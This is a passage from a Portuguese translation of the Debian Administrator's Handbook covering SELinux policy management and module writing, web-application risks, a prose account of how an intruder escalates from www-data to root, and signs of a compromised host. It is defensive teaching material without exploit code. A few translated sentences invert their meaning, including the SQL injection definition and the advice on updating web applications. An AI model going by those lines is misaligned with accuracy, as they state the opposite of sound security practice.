ser obtidos a partir de outro lugar. Espera-se que eles voltem em algum momento
num dos lançamentos pontuais ou no jessie-backports. Enquanto isso, você pode
obtê-los pela instável (”unstable”).

Essa triste situação pelo menos prova que o SELinux não é muito popular no
conjunto de usuários/desenvolvedores que estão usando as versões de desenvol-
vimento do Debian. Assim, se você optar por usar o SELinux, você deve ter a expec-
tativa de que a política padrão não funciona perfeitamente e você terá que investir
um bom tempo para torná-lo adaptado para suas necessidades.

O pacote selinux-policy-default contém um conjunto de regras padrão. Por padrão, essa política
só restringe o acesso a alguns serviços amplamente expostos. As sessões de usuários não estão

418 O Manual do Administrador Debian



restritas e, portanto, é improvável que o SELinux iria bloquear as operações legítimas do usuário.
No entanto, isso faz aumentar a segurança dos serviços do sistema rodando na máquina. Para
configurar uma política corresponde à antigo regra ”strict”, você só tem que desativar omódulo
unconfined (gerenciamento de módulos está detalhada ainda nesta seção).
Uma vez que a política tenha sido instalada, você deve marcar todos os arquivos disponíveis
(o que significa atribuir-lhes um tipo). Esta operação deve ser iniciada manualmente com
fixfiles relabel.
O sistema SELinux agora está pronto. Para habilitá-lo, você deve adicionar o parâmetro seli-
nux=1 security=selinux para o kernel Linux. O parâmetro audit=1 habilita o log SELinux que
registra todas operações negadas. Finalmente, o parâmetro enforcing=1 traz as regras para apli-
cação: sem ele SELinux funciona no modo padrão permissive onde as ações negadas são regis-
tradas, mas ainda executadas. Você deve, portanto, modificar o arquivo de configuração do
GRUB para anexar os parâmetros desejados. Umamaneira fácil de fazer isso é modificar a variá-
velGRUB_CMDLINE_LINUX em /etc/default/grub e executar update-grub. SELinux estará
ativo após uma reinicialização.
É interessante notar que o script selinux-activate automatiza as operações e força uma rotu-
lagem na próxima inicialização (o que evita criacao de novos arquivos não-rotulados enquanto
o SELinux ainda não estiver ativo, e enquanto a rotulagem estiver acontecendo).

14.5.3. Gerenciando um Sistema SELinux

A política do SELinux é um conjunto modular de regras, e sua instalação detecta e permite au-
tomaticamente todos os módulos relevantes com base nos serviços já instalados. O sistema é
assim imediatamente operacional. No entanto, quando um serviço é instalado após a política
do SELinux, você deve ser capaz de habilitar manualmente o módulo correspondente. Esse é o
propósito do comando semodule. Além disso, você deve ser capaz de definir as funções que cada
usuário pode endossar, e isso pode ser feito com o comando semanage.
Estes dois comandos podem assim ser usados para modificar a atual configuração do SELinux,
que é armazenada em /etc/selinux/default/. Ao contrário de outros arquivos de configura-
ção que você pode encontrar em /etc/, todos esses arquivos não devem ser alterados manual-
mente. Você deve usar os programas concebidos para este proposito.

INDO ALEM

Mais documentacao
Uma vez que a NSA não fornece qualquer documentação oficial, a comunidade
criou um wiki para compensar. Reúne uma série de informações, mas você deve
estar ciente que os maiores contribuintes SELinux são usuários do Fedora (onde
o SELinux está habilitado por padrão). A documentação, portanto, tende a tratar
especificamente com essa distribuição.

è http://www.selinuxproject.org

Você também deve ter olhado para a página wiki dedicada ao Debian, bem como
blog de Russell Coker, que é um dos desenvolvedores mais ativos do Debian traba-
lhando no suporte SELinux.

è http://wiki.debian.org/SELinux

è http://etbe.coker.com.au/tag/selinux/
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Gerenciando Modulos SELinux

Módulos SELinux disponíveis são armazenados no diretorio /usr/share/selinux/default/.
Para habilitar um desses módulos na configuração atual, você deve usar semodule-i
module.pp.bz2. A extensão pp.bz2 significa pacote política (compactada com bzip2).
A removecao de ummódulo a partir da configuração atual é feita com semodule -r module. Fi-
nalmente, o comando semodule -l listas osmodulos que estao atualmente instalados. Também
mostra seus números de versão. Môdulos podem ser seletivamente habilitados com semodule
-e e desabilitados com semodule -d.
# semodule -i /usr/share/selinux/default/abrt.pp.bz2
# semodule -l
abrt 1.5.0 Disabled
accountsd 1.1.0
acct 1.6.0
[...]
# semodule -e abrt
# semodule -d accountsd
# semodule -l
abrt 1.5.0
accountsd 1.1.0 Disabled
acct 1.6.0
[...]
# semodule -r abrt
# semodule -l
accountsd 1.1.0 Disabled
acct 1.6.0
[...]

semodule imediatamente carrega a nova configuração, a menos que você use sua opção -n .
É interessante notar que o programa atua por padrão na configuração atual (que é indicada
pela variavel SELINUXTYPE em /etc/selinux/config), mas que você pode modificar outra,
especificando-a com a opcao opção-s.

Gerenciando Identidades

Toda vez que um usuário faz logon, eles se atribui uma identidade SELinux. Esta identidade
define os papéis que eles serão capazes de endossar. Estes dois mapeamentos (do usuário para
a identidade e de esta identidade para papéis) são configuráveis com o comando semanage.
Você deve definitivamente ler a página de manual semanage(8), mesmo se a sintaxe do co-
mando tende a ser semelhante para todos os conceitos que são geridos. Você vai encontrar
opções comuns a todos os sub-comandos: -a para adicionar, -d para excluir, -m para modificar,
-l para listar, e -t para indicar um tipo (ou domínio).
semanage login -l lista o atual mapeamento entre identificadores de usuário e identidades
SELinux. Os usuários que não têm entrada explícita obter a identidade indicado na entrada __de-

420 O Manual do Administrador Debian



fault__. O comando semanage login -a -s user_u user irá associar a identidade user_u ao
determinado usuário. Finalmente,semanage login -d user exclui a entrada de mapeamento
atribuído a este usuário.
# semanage login -a -s user_u rhertzog
# semanage login -l

Login Name SELinux User MLS/MCS Range Service

__default__ unconfined_u SystemLow-SystemHigh *
rhertzog user_u SystemLow *
root unconfined_u SystemLow-SystemHigh *
system_u system_u SystemLow-SystemHigh *
# semanage login -d rhertzog

semanage user -l lista o mapeamento entre as identidades de usuários do SELinux e papéis
permitidos. Adicionar uma nova identidade requer definir os papéis correspondentes e um pre-
fixo de marcação que é usado para designar um tipo de arquivo pessoal (/home/usuário/*). O
prefixo deve ser escolhido entre user, o staff, e o sysadm. O prefixo ”staff” resulta em arquivos
do tipo ”staff_home_dir_t”. Criar uma nova identidade de usuário SELinux é feita com semanage
usuário -a -R papéis -P prefixo identidade. Finalmente, você pode remover uma iden-
tidade de usuário SELinux com semanage usuário -d identidade.
# semanage user -a -R ’staff_r user_r’ -P staff test_u
# semanage user -l

Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles

root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r
staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r
sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r
system_u user SystemLow SystemLow-SystemHigh system_r
test_u staff SystemLow SystemLow staff_r user_r
unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r
user_u user SystemLow SystemLow user_r
# semanage user -d test_u

Gerenciamento de arquivos Contextos, Portas e booleanos

Cada módulo SELinux fornece um conjunto de regras de rotulagem de arquivos, mas também é
possível adicionar regras de rotulagem personalizadas para atender a um caso específico. Por
exemplo, se você deseja que o servidor web para seja capaz de ler arquivos dentro da hierarquia
de arquivos /srv/www/, você pode executar semanage fcontext-a-t httpd_sys_content_t
”/srv/www(/.*)? ” seguido de restorecon -R /srv/www/. O comando anterior registra as
novas regras de rotulagem e redefine o último dos tipos de arquivos de acordo com as atuais
regras de rotulagem.
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Da mesma forma, portas TCP/UDP são rotuladas de uma forma que garante que apenas os dae-
mons correspondentes podem ouvir nelas. Por exemplo, se você quiser que o servidor web seja
capaz de escutar na porta 8080, você deve executar semanage port -m -t http_port_t -p
tcp 8080.
Algunsmódulos do SELinux exportar opções booleanas que você pode alterar para alterar o com-
portamento das regras padrão. O utilitário getsebool pode ser usado para inspecionar as op-
ções (getseboolboolean exibe uma opção, e getsebool -a todas elas). O comando setsebool
boolean value muda o valor atual de uma opção booleana. A opcao -P faz a mudança perma-
nente, isso significa que o novo valor passa a ser o padrão e será mantido entre as reinicializa-
ções. O exemplo abaixo servidores web concede acesso para diretórios home (isto é útil quando
os usuários têm sites pessoais em ~/public_html/).
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> off
# setsebool -P httpd_enable_homedirs on
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> on

14.5.4. Adaptando as Regras

Uma vez que a política do SELinux émodular, pode ser interessante para desenvolver novosmó-
dulos para (possivelmente personalizar) aplicações que não os possuem. Estes novos módulos,
então, completarao a política de referência.
Para criar novos módulos, o pacote selinux-policy-dev é necessário, bem como selinux-
policy-doc. Este último contém a documentação das regras padrão (/usr/share/doc/
selinux-policy-doc/html/) da amostra e arquivos que podem ser usados comomodelos para
criar novos módulos. Instale estes arquivos e os estude mais de perto:
$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile
$ cp /usr/share/doc/selinux-policy-doc/example.fc ./
$ cp /usr/share/doc/selinux-policy-doc/example.if ./
$ cp /usr/share/doc/selinux-policy-doc/example.te ./

O arquivo .te é o mais importante. Ele define as regras. O arquivo .fc define os arquivos de
contextos”, isto é, os tipos atribuídos a arquivos relacionados a estemódulo. Os dados dentro do
arquivo .fc são utilizados durante a etapa de rotulagem do arquivo. Finalmente, o arquivo if
define a interface do módulo: é um conjunto de ”funções públicas” que outros módulos podem
usar para interagir adequadamente com o módulo que você está criando.

Escrevendo um arquivo .fc

Lendo o exemplo a seguir deve ser suficiente para compreender a estrutura de tal arquivo. Você
pode usar expressões regulares para atribuir omesmo contexto de segurança de vários arquivos,
ou até mesmo uma árvore de diretórios.
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Exemplo 14.2 arquivo example.fc

# myapp executavel tera:
# label: system_u:object_r:myapp_exec_t
# MLS sensibilidade: s0
# MCS categorias: <nenhuma>

/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

Escrevendo um arquivo .if

No exemplo abaixo, a primeira interface (”myapp_domtrans”) controla quem pode executar o
aplicativo. O segundo (”myapp_read_log”) concede direitos de leitura nos arquivos de log do
aplicativo.
Cada interface deve gerar um conjunto válido de regras que podem ser incorporadas em um
arquivo .te. Você deve, portanto, declarar todos os tipos que você utiliza (com a macro
gen_require), e usar diretivas padrão de concessão de direitos. Note, no entanto, que você pode
usar interfaces fornecidas por outros módulos. A próxima seção irá dar mais explicações sobre
a forma de expressar esses direitos.

Exemplo 14.3 Arquivo example.if

## <summary>Myapp exemple de politica</summary>
## <desc>
## <p>
## Mais um texto descritivo sobre myapp. A tag <desc>
## tambem pode usar <p>, <ul>, e <ol>
## tags html para formatacao;
## </p>
## <p>
## Esta politica suporta as seguintes myapp caracteristicas:
## <ul>
## <li>Caracteristica A</li>
## <li>Caracteristica B</li>
## <li>Caracteristica C</li>
## </ul>
## </p>
## </desc>
#

########################################
## <sumario>
## Executar uma transição de domínio para executar myapp.
## </sumario>
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## <param name=”domain”>
## Domínio permitiu a transição.
## </param>
#
interface(‘myapp_domtrans’,‘

gen_require(‘
type myapp_t, myapp_exec_t;

’)

domtrans_pattern($1,myapp_exec_t,myapp_t)
’)

########################################
## <summary>
## Ler arquivos de log myapp.
## </summary>
## <param name=”domain”>
## Domínio permitiu ler os arquivos de log.
## </param>
#
interface(‘myapp_read_log’,‘

gen_require(‘
type myapp_log_t;

’)

logging_search_logs($1)
allow $1 myapp_log_t:file r_file_perms;

’)

DOCUMENTACAO

Explicações sobre a
política de referência

A política de referência evolui como qualquer projeto de software livre: baseado em
contribuições voluntárias. O projeto é hospedado pelo Tresys, uma das empresas
mais ativas no domínio SELinux. Sua wiki contém explicações sobre como as regras
são estruturadas e como você pode criar novas.

è https://github.com/TresysTechnology/refpolicy/wiki/
GettingStarted

Escrevendo um Arquivo .te

De uma olhada no arquivo example.te:

INDO ALEM

A linguagem de macro m4

Para estruturar adequadamente a política, os desenvolvedores do SELinux utilizado
um processador de comandos macro. Em vez de duplicar varios diretivas de per-
missoes similares, eles criaram ”funções macro”, para usar uma lógica de alto nível,
o que também resulta em uma política muito mais legível.
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Na prática, m4 é usado para compilar essas regras. Ele faz a operação inversa: ele
expande todas estas directivas de alto nível em um enorme banco de dados de
diretivas de permissoes.

As ”interfaces” SELinux são apenas funções de macro que serão substituídas por
uma série de regras no momento da compilação. Da mesma forma, alguns direitos
são conjuntos de fatos de direitos que são substituídos por seus valores em tempo
de compilação.

policy_module(myapp,1.0.0) x1
########################################
#
# Declaracoes
#

type myapp_t; x2
type myapp_exec_t;
domain_type(myapp_t)
domain_entry_file(myapp_t, myapp_exec_t) x3
type myapp_log_t;
logging_log_file(myapp_log_t) x4
type myapp_tmp_t;
files_tmp_file(myapp_tmp_t)

########################################
#
# Politica local Myapp
#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; x5
allow myapp_t myapp_tmp_t:file manage_file_perms;
files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

x1 O modulo deve ser identificado pelo seu nome e numero da versao. Esta diretiva é reque-
rida.x2 Se o módulo introduz novos tipos, deve declará-los com as directivas como este. Não
hesite emcriar tantos tipos quantas foremnecessários emvez de concedermuitos direitos
inúteis.x3 Estas interfaces definem o tipo myapp_t como uma área processo que deve ser utilizada
por qualquer executável rotulado com myapp_exec_t. Implicitamente, isso adiciona um
atributo exec_type sobre esses objetos, que por sua vez permite que outros módulos de
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concessão de direitos para executar esses programas: por exemplo, omódulo userdomain,
permite que os processos com domínios user_t, staff_t e sysadm_t execute os. Os domí-
nios de outras aplicações confinadas não terão direitos para executar los, a menos que as
regras lhes concedem direitos semelhantes (este é o caso, por exemplo, do dpkg com o
seu domínio dpkg_t).x4 logging_log_file é uma interface fornecida pela política de referência. Ela indica que os
arquivos marcados com o tipo de dado são arquivos de log que deveriam beneficiar das
regrassociadas (por exemplo concedem direitos ao logrotate para que possa manipulá
los).x5 O diretiva permicao é a diretiva de base utilizada para autorizar uma operação. O pri-
meiro parâmetro é o domínio processo que tem a permissao para executar a operação. A
segunda define o objeto que um processo do domínio anterior pode manipular. Este pa-
râmetro é a forma ”tipo: classe” onde tipo é o seu tipo SELinux e classe descreve a natureza
do objeto (arquivo, diretório, socket, fifo, etc.) Finalmente, o último parâmetro descreve
as permissões (as operações permitidas).
As permissões são definidas como o conjunto de operações permitidas e segue este mo-
delo: { operacao1operacao2}. No entanto, você também pode usar macros que represen-
tam as permissões mais úteis. O /usr/share/selinux/devel/include/support/obj_
perm_sets.spt os lista.
A página web a seguir fornece uma lista relativamente exaustiva de classes de objetos e
permissões que podem ser concedidas.
è http://www.selinuxproject.org/page/ObjectClassesPerms

Agora você só tem que encontrar o conjunto mínimo de regras necessárias para assegurar que o
aplicativo de destino ou serviço funcione corretamente. Para conseguir isso, você deve ter um
bom conhecimento de como o aplicativo funciona e de que tipo de dados ele gerencia e/ou gera.
No entanto, uma abordagem empírica é possível. Uma vez que os objetos relevantes são rotu-
ladas corretamente, você pode usar o aplicativo no modo permissivo: as operações que seriam
proibidos são registrados, mas ainda tem sucesso. Ao analisar os logs, você pode agora identifi-
car as operações de permissao. Aqui esta um exemplo de uma tal entrada de log:
avc: denied { read write } for pid=1876 comm=”syslogd” name=”xconsole” dev=tmpfs

å ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:
å device_t:s0 tclass=fifo_file permissive=1

Para melhor entender esta mensagem, vamos estudá la peça por peça.
Ao observar essa entrada de log, é possível construir uma regra que permite esta operação. Por
exemplo: allow syslogd_t device_t:fifo_file { read write }. Este processo pode ser automatizado, e
é exatamente o que o comando audit2allow oferece (do pacote policycoreutils). Esta abordagem
só é útil se os vários objetos já estão corretamente rotulados de acordo com o que deve ser
confinado. Em qualquer caso, você terá que analisar cuidadosamente as regras geradas e as
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Mensagem Descricao
avc: denied Uma operação foi negada.

{ read write }
Esta operação exigiu permissões de leitura
e escrita.

pid=1876
O processo com PID 1876 executou a
operacao (ou tentou executa la).

comm=”syslogd”
O processo foi um exemplo do programa
syslogd.

name=”xconsole”

O objeto alvo foi nomeado xconsole. Às
vezes, você pode também ter uma variável
“path” — com o caminho completo — como
opção.

dev=tmpfs

O dispositivo que hospeda o objeto de
destino é um tmpfs (um sistema de
arquivos em memória). Para um disco real,
você poderia ver a partição que hospeda o
objeto (por exemplo: ”sda3”).

ino=5510
O objeto esta identificado pelo inode
numero 5510.

scontext=system_u:system_r:syslogd_t:s0
Este é o contexto de segurança do processo
que executou a operação.

tcontext=system_u:object_r:device_t:s0
Este é o contexto de segurança do objeto
destino.

tclass=fifo_file O objeto destino é um arquivo FIFO.

Tabela 14.1 Análise de um rastreamento SELinux
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validar de acordo com o seu conhecimento da aplicacao. Efetivamente, essa abordagem tende
a conceder mais direitos do que são realmente necessários. A solução adequada é muitas vezes
criar novos tipos de concessão de direitos apenas sobre esses tipos. Acontece também de uma
operação negada não ser fatal para a aplicação, neste caso pode ser melhor adicionar uma regra
”dontaudit” para evitar a entrada de log, apesar da efetiva negação.

COMPLEMENTOS

Nao ha papeis nas regras
de politicas

Pode parecer estranho que os papéis não aparecem em tudo ao criar novas regras.
SELinux utiliza apenas os domínios para descobrir quais operações são permitidas.
A intervenção do papel apenas de forma indireta, permitindo ao usuário alternar
para outro domínio. SELinux é baseado em uma teoria conhecida como Tipo de
aplicacao e o tipo é o único elemento que importa na concessão de direitos.

Compilando os Arquivos

Uma vez que os 3 arquivos (example.if, example.fc, e example.te) correspondem às suas
expectativas para as novas regras, basta executar make NAME=devel para gerar um mó-
dulo no arquivo example.pp file> (você pode o carregar imediatamente com semodule -i
example.pp). Se vários módulos são definidos, make irá criar todos os arquivos corresponden-
tes .pp.

14.6. Outras Consideracoes Relacionadas a Seguranca

Segurança não é apenas um problema técnico, mais do que qualquer coisa, é sobre as boas prá-
ticas e compreenção dos riscos. Esta seção examina alguns dos riscos mais comuns, bem como
algumas das melhores práticas que deverao, dependendo do caso, aumentar a segurança ou di-
minuir o impacto de um ataque bem sucedido.

14.6.1. Riscos Inerentes a Aplicações Web

O caráter universal das aplicações web levou à sua proliferação. Diversas são freqüentemente
executadas emparalelo: umwebmail, umwiki, algumsistemade groupware, fóruns, umagaleria
de fotos, um blog, e assim por diante. Muitas dessas aplicações dependem da pilha ”LAMP”
(Linux, Apache, MySQL, PHP). Infelizmente, muitas dessas aplicações também foram escritas sem
considerar muito os problemas de segurança. Dados provenientes do exterior são, muitas vezes,
utilizados com pouca ou nenhuma validação. Proporcionando valores criados especialmente
para serem usados para destruir uma chamada para um comando de modo que um outro seja
executado em vez disso. Muitos dos problemas mais óbvios foram corrigidos com o parrar do
tempo, mas novos problemas de segurança surgem regularmente.

VOCABULARIO

SQL injection
Quando um programa insere dados em consultas SQL de uma maneira segura,
torna-se vulnerável a SQL injections; este nome abrange o ato de alterar um pa-
râmetro de tal forma que a consulta real executada pelo programa é diferente da
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pretendida, quer para danificar o banco de dados ou de acesso aos dados que nor-
malmente não devem ser acessíveis.

è http://en.wikipedia.org/wiki/SQL_Injection

Atualizar aplicações web regularmente é, portanto, uma obrigação, para que qualquer cracker
(se um atacante ou um profissional script kiddy) possa explorar uma vulnerabilidade conhecida.
O risco real depende do caso, e varia de destruição de dados a execução de código arbitrário,
incluindo desfiguração do site.

14.6.2. Sabendo O Que Esperar

A vulnerabilidade em uma aplicação web é frequentemente utilizada como ponto de partida
para as tentativas de craqueamento. O que se segue são uma breve revisão das possíveis con-
sequências.

OLHADA RAPIDA

Filtrando consultas HTTP
Apache 2 inclui módulos que permitindo a filtragem da entrada de consultas HTTP.
Isto permite o bloqueio de alguns vetores de ataque. Por exemplo, limitando a
duração dos parâmetros pode impedir o estouro do buffer. Mais genericamente,
pode se validar os parâmetros antes mesmo que eles passem para a aplicação web
e restringir o acesso ao longo de muitos critérios. Isso pode até ser combinado
com atualizações dinâmicas do firewall, de modo que se um cliente violar uma das
regras é proibido de acessar o servidor web por um determinado tempo.

Configurando estas verificações podem ser uma tarefa longa e complicada, mas
pode pagar quando a aplicação web a ser implantada tiver um histórico duvidoso,
onde a segurança é interesse.

mod-security2 (no pacote libapache2-mod-security2) é o tal módulo principal.
Ele até mesmo vem com muitas regras prontas-para-uso próprias (no pacote
modsecurity-crs) que você pode facilmente habilitar.

As consequências de uma invasão terá vários níveis de evidência, dependendo das motivações
do atacante. Script-kiddies só aplicam receitas que encontram em sites, a maioria das vezes, eles
desfigurar uma página web ou excluir dados. Em casos mais sutis, eles adicionam conteúdo
invisíveis para páginas web, de modo amelhorar encaminhamentos para seus próprios sites em
motores de busca.
Um atacante mais avançado vai além disso. Um cenário de desastre poderia continuar da se-
guintemaneira: o atacante ganha a habilidade de executar comandos comoousuáriowww-data,
mas a execução de um comando requer muitas manipulações. Para tornar sua vida mais fácil,
eles instalam outras aplicações web especialmente concebidas para executar remotamente vá-
rios tipos de comandos, como a navegação no sistema de arquivos, examinando as permissões
de upload, ou download de arquivos, execução de comandos, e até mesmo fornecer um escudo
de rede. Muitas vezes, a vulnerabilidade permite execução de um wget que vai baixar algum
malware em /tmp/, então o executa. O malware geralmente é baixado de um site estrangeiro
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que foi previamente comprometido, a fim de cobrir faixas e tornar mais difícil encontrar a ver-
dadeira origem do ataque.
Neste ponto, o invasor tem bastante liberdade de movimento que muitas vezes instalar um IRC
bot (um robô que se conecta a um servidor IRC e pode ser controlado por este canal). Este robô
é frequentemente usado para compartilhamento de arquivos ilegais (cópias não autorizadas de
filmes ou software, entre outros). Um determinado invasor pode querer ir ainda mais longe. A
conta www-data não permite o acesso total à máquina, e o invasor vai tentar obter privilégios
de administrador. Ora, isso não deve ser possível, mas se a aplicação web não está atualizada,
as chances são de que os programas do kernel e outros também estejam desatualizados, o que
às vezes se segue uma decisão do administrador que, apesar de saber sobre a vulnerabilidade,
negligenciado para atualizar o sistema, pois não existem usuários locais. O atacante pode então
aproveitar essa segunda vulnerabilidade para obter acesso root.

VOCABULARIO

Escalonamento de
Privilégios

Este termo abrange qualquer coisa que pode ser usada para obter as permissões de
mais do que um determinado utilizador deve ter normalmente. O programa sudo é
projetado justamente com o proposito de dar direitos administrativos para alguns
usuários. Mas o termo também é usado para descrever o ato de um invasor explorar
uma vulnerabilidade para obter direitos indevidos.

Agora, o atacante é dono da máquina; eles costumam tentar manter esse acesso privilegiado
pelo maior tempo possível. Isso envolve a instalação de um rootkit, um programa que irá subs-
tituir alguns componentes do sistema para que o invasor seja capaz de obter os privilégios de
administrador novamente em um momento posterior, o rootkit também tenta esconder a sua
própria existência como tambem quaisquer vestígios da intrusão. U subvertido programa ps irá
deixar de listar alguns processos, netstat não vai listar algumas das conexões ativas e assim por
diante. Usando as permissões de root, o invasor foi capaz de observar todo o sistema, mas não
encontrou dados importantes, então vai tentar acessar outras máquinas na rede corporativa.
Analisando a conta do administrador e os arquivos de histórico, o atacante acha que as máqui-
nas são acessadas rotineiramente. Ao substituir sudo ou ssh com um programa subvertido, o
invasor pode interceptar algumas das senhas do administrador, que irá utilizar nos servidores
detectados ... e a intrusão pode se propagar a partir de então.
Este é um cenário de pesadelo pode ser evitado através de várias medidas. As próximas seções
descrevem algumas dessas medidas.

14.6.3. Escolhendo o Software Sabiamente

Uma vez que os problemas potenciais de segurança são conhecidos, eles devem ser levados em
conta, em cada passo do processo de implantação de um serviço, especialmente quando se es-
colhe o software para instalar. Muitos sites, como SecurityFocus.com, mantem uma lista de
vulnerabilidades recém-descobertas, que podem dar uma idéia de um histórico de segurança
antes de algum software especial ser implantado. Claro, essa informação deve ser equilibrada
com a popularidade do referido software: um programamais amplamente usado é um alvomais
tentador, e será examinado mais de perto como conseqüência. Por outro lado, um programa de
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nicho pode estar cheio de buracos de segurança que nunca serao divulgados devido a uma falta
de interesse em uma auditoria de segurança.

VOCABULARIO

Auditoria de Seguranca
A auditoria de segurança é o processo de leitura cuidadosa e analise do código fonte
de algum software, procurando por vulnerabilidades de segurança empotencial que
poderiam conter. Estas auditorias são geralmente pró-ativas e são realizadas para
garantir que um programa atenda aos requisitos de segurança determinados.

No mundo do Software Livre, geralmente há um amplo espaço para a escolha, e escolher um
pedaço de software em detrimento de outro deve ser uma decisão com base nos critérios que
se aplicam localmente. Mais características implicam num aumento do risco de um vulnerabili-
dade escondida no código; escolher o programamais avançado para uma tarefa pode realmente
ser contraproducente, e uma melhor abordagem é, geralmente, para escolher o programa mais
simples que atenda aos requisitos.

VOCABULARIO

Zero-day exploit
Um ataque zero-day exploit é difícil de evitar, o termo abrange uma vulnerabili-
dade que ainda não é conhecida pelos autores do programa.

14.6.4. Gerenciando uma Máquina como um Todo

A maioria das distribuições Linux instalam por padrão uma série de serviços Unix e muitas fer-
ramentas. Em muitos casos, estes serviços e ferramentas não são necessários para os fins de
reais para que o administrador configure a máquina. Como orientação geral em matéria de se-
gurança, softwares desnecessários é melhor desinstalado. Na verdade, não tem sentido garantir
um servidor FTP, se uma vulnerabilidade em um serviço diferente, não utilizado pode ser usado
para obter privilégios de administrador na máquina inteira.
Seguindo omesmo raciocínio, firewalls, frequentemente sao configurados para permitir apenas
acesso aos serviços que se destinam a ser acessíveis ao público.
Computadores atuais são poderosos o suficiente para permitir a hospedagem de vários serviços
namesmamáquina física. De umponto de vista económico, uma tal possibilidade é interessante:
um só computador para administrar, menor consumo de energia, e assim por diante. Do ponto
de vista da segurança, no entanto, esta escolha pode ser um problema. Um serviço compro-
metido pode levar o acesso a toda a máquina, que por sua vez compromete os outros serviços
hospedados no mesmo computador. Este risco pode ser atenuado através do isolamento dos
serviços. Isto pode ser alcançado tanto com virtualização (cada serviço sendo hospedado em
uma máquina virtual dedicada ou um container), ou com o AppArmor/SELinux (cada serviço
daemon tendo um conjunto de permissões adequadamente projetado).

14.6.5. Os Usuários São Jogadores

Discutir segurança imediatamente traz à mente proteção contra ataques de crackers anônimos
escondidos na selva da Internet, mas um fato muitas vezes esquecido é que corre o risco de vir
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tambémde dentro: um funcionário prestes a deixar a empresa poderia baixar arquivos confiden-
ciais sobre os projetos importantes e vendê-los aos concorrentes, um vendedor de negligente
poderia deixar suamesa sembloquear a sessão durante um encontro comumanova perspectiva,
um usuário desajeitado poderia excluir o diretório errado por engano, e assim por diante.
A resposta a estes riscos podem envolver soluções técnicas: não mais do que as permissões ne-
cessárias devem ser concedidas aos usuários, e backups regulares são uma obrigacao. Mas em
muitos casos, a protecção adequada vai envolver treinamento de usuários para evitar os riscos.

BLOQUEIO RAPIDO

autolog

O pacote autolog fornece um programa que desconecta automaticamente usuários
inativos depois de um atraso configurável. Ele também permite matar processos de
usuário que persistem após o término da sessão, impedindo os usuários de executar
daemons.

14.6.6. Seguranca Fisica

Não faz sentido garantir os serviços e redes, se os próprios computadores não estiverem prote-
gidos. Dados importantes merecem ser armazenados em discos rígidos hot-swappable em RAID,
por que discos rígidos falham eventualmente e a disponibilidade dos dados é um ponto obriga-
tório. Mas se qualquer entregador de pizza pode entrar no prédio furtivo, na sala do servidor e
fugir com alguns discos rígidos, uma parte importante da segurança não está cumprida. Quem
pode entrar na sala do servidor? O acesso está monitorado? Estas questões merecem ser consi-
deradas (e uma resposta) quando a segurança física está sendo avaliada.
A segurança física inclui levar em consideração também os riscos de acidentes, como incêndios.
Este risco particular é o que justifica armazenar as mídias de backup em um prédio separado, ou
pelo menos em um cofre à prova de fogo.

14.6.7. Responsabilidade legal

Um administrador tem, mais oumenos implicitamente, a confiança de seus usuários, bem como
os usuários da rede em geral. Eles devem, portanto, evitar a negligência que as pessoasmalignas
poderiam explorar.
Um invasor assume o controle da sua máquina, em seguida, a utiliza como uma base para avan-
car (conhecido como “relay system - sistema de revezamento”) da quale para realizar outras
atividades nefastas poderia causar problemas legais para você, uma vez que a parte que atacou
inicialmente iria ver o ataque proveniente de seu sistema e, portanto, considerá-lo como o ata-
cante (ou como cúmplice). Em muitos casos, o atacante usará o servidor como um relé para
enviar spam, que não deve ter muito impacto (exceto possivelmente registro em listas negras
que poderiam restringir a sua capacidade de enviar e-mails legítimos), mas não vai ser agra-
dável, no entanto. Em outros casos, o problema mais importante pode ser causado a partir de
sua máquina, por exemplo, seria ataques de negação de serviço. Isso, às vezes, induz a perda
de receitas, uma vez que os serviços legítimos não estará disponível e os dados podem ser des-
truídos, às vezes isso também implicaria um custo real, porque a parte atacada pode iniciar um
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processo judicial contra você. Os dententores dos direitos podem processá-lo se uma cópia não
autorizada de uma obra protegida por direitos autorais é compartilhada a partir do servidor,
bem como outras empresas obrigadas por acordos de nível de serviço, se eles são obrigados a
pagar multas após o ataque de sua máquina.
Quando estas situações ocorrem, afirmar inocência não é geralmente suficiente; no mínimo,
você vai precisar de provas convincentes que mostram a atividade suspeita em seu sistema que
vem de um determinado endereço IP. Isso não será possível se você negligenciar as recomenda-
ções deste capítulo e deixar o invasor obter acesso a uma conta privilegiada (root, em particular)
e usá la para cobrir seus rastros.

14.7. Lidando com uma máquina comprometida

Apesar das melhores intenções e pormais cuidadosamente concebido política da segurança, um
administrador, eventualmente, enfrenta um ato de desvio. Esta seção fornece algumas orienta-
ções sobre como reagir quando confrontado com estas circunstâncias infelizes.

14.7.1. Detectando e Visualizando a Intrusão do cracker

A primeira etapa de reagir a quebra é estar ciente de tal ato. Isso não é auto-evidente, especial-
mente sem uma infra-estrutura adequada de vigilância.
Atos Cracking muitas vezes não são detectados até que eles têm conseqüências diretas sobre os
serviços legítimos hospedados na máquina, como conexões debilitadas, alguns usuários incapa-
zes de se conectar, ou qualquer outro tipo de avaria. Diante desses problemas, o administrador
precisa dar uma boa olhada para a máquina e examinar cuidadosamente o que se comporta mal.
Este é geralmente o momento em que eles descobrem um processo incomum, por exemplo, um
chamado apache em vez do padrão /usr/sbin/apache2. Se seguirmos esse exemplo, a coisa a fa-
zer é observar seu identificador de processo, e verificar /proc/pid/exe para ver qual programa
está executando este processo atualmnete:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.

å bash_httpd/psybnc

Um programa instalado em /var/tmp/ e funcionando como servidor web? Sem deixar dúvida,
a máquina está comprometida.
Este é apenas um exemplo, mas muitas outras dicas podem alertar o administrador:

• uma opção para um comando que não funcionamais; a versão do software que o comando
pretende ser não coincide com a versão que está supostamente instalada de acordo com
dpkg;

• um prompt de comando ou uma sessão de saudação indicando que a última conexao veio
de um servidor desconhecido em outro continente;
